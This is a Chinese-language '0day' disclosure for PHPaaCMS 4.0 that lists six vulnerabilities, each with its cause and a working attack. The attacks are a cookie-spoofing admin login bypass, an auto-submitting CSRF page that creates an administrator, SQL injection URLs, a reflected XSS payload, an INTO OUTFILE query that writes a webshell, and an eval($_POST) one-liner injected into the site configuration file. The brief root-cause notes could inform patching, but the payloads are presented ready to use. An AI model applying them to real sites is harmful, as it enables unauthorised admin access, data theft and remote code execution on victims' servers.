PHPaaCMS 4.0 oday
作者 菲哥哥
Blog http://hi.baidu.com/feihacker/

1. Cookie欺骗:
  形成原因:
  只判断Cookie不为空就能登录到后台
   if (!isset($_COOKIE['userid']) || empty($_COOKIE['userid'])){
      //如果没有设置userid   或者 userid  为空
        setcookie(lastURL,get_url());//上次访问地址
        header(“Location: login.php”);//跳转到登录页面 }
  测试:
    javascript:alert(document.cookie="userid=1")为Cookie赋值
    然后直接访问后台就可以登录了

2. CSRF
  形成原因:
    前台留言版支持html.  后台添加管理的时候对提交信息的来源判断不到
    位,可以添加验证码来防止CSRF,判断referer
  测试
    在添加管理员时抓包,构造好一个添加管理员的HTML页面上传到远程服
    务器,然后在留言版以<a herf=“远程HTML”>添加管理员测试</A>这
    样的形式添加到留言当中,当管理员点击链接的时候就会添加一个管理员
       CSRF Exp
  <html>
<head>Exp PHPpaCMS CSRF 菲哥哥 or 菲</head>
<body onload=javascript:document.form.submit()>
<form action="http://localhost/cms/phpaaCMS/admin/user.action.php" method="post" name="form">
<input type="hidden" name="act" value="add">
<input type="hidden" name="username" value="feihacker">
<input type="hidden" name="password" value="xxxx">
<input type="hidden" name="password2" value="xxxx">
<input type="hidden" name="userid" value="0">
</body>
</html>

3. 注入:
  形成原因:
  对参数过滤不到位直接带入SQL语句造成的
  漏洞页面  
     admin/page.add.php  
     admin/ message.action.php
     admin/article.add.php
     search.php
      $userid = trim($_GET [‘userid’])?trim($_GET [‘userid’]):0;//只过滤了空格
      find ( "select * from phpaadb_users where userid=" . $userid );
       以上3个页面均是对userid 过滤不严造成的
  测试:
    http://localhost/phpaaCMS/admin/friendlink.add.php?act=edit&id=1%20and%201=2%20union%20select%201,2,3,user%28%29,5,6
    http://localhost/phpaaCMS/admin/user.add.php?act=edit,&userid=31 union select 1,user(),3
    http://localhost/phpaaCMS/admin/article.add.php?act=add&cid=1&id=32%27

4. XSS
  形成原因:
    对进行搜索时输入的html标签过滤不到
    漏洞页面  search.php 
  测试
         http://localhost/phpaacms/search.php?keywords=>"><ScRiPt
      >alert(document.cookie);</ScRiPt>

5. 后台执行恢复数据可以写一句话:
  形成原因: 
    恢复数据的时候可以自定义SQL语句造成的.
  测试:
     在自己的SQL 脚本中写入如下代码
     select  * from hacker union select '1' from mysql.user into
     outfile 'D:\\www\\hack.php‘
     在执行恢复的时候可以生成一句话木马

6. 配置文件写一句话
  形成原因:
     把网站配置信息写到website.inc.php文件中过滤不到位造成的
  测试
     直接写常规的php木马是不行得,
         /“)?><?php @eval($_POST[hack] //   这个是我构造好的PHP一句话正
     好闭合,在写网站配置信息的时候在管理员邮箱写上面的变形木马就
     可以了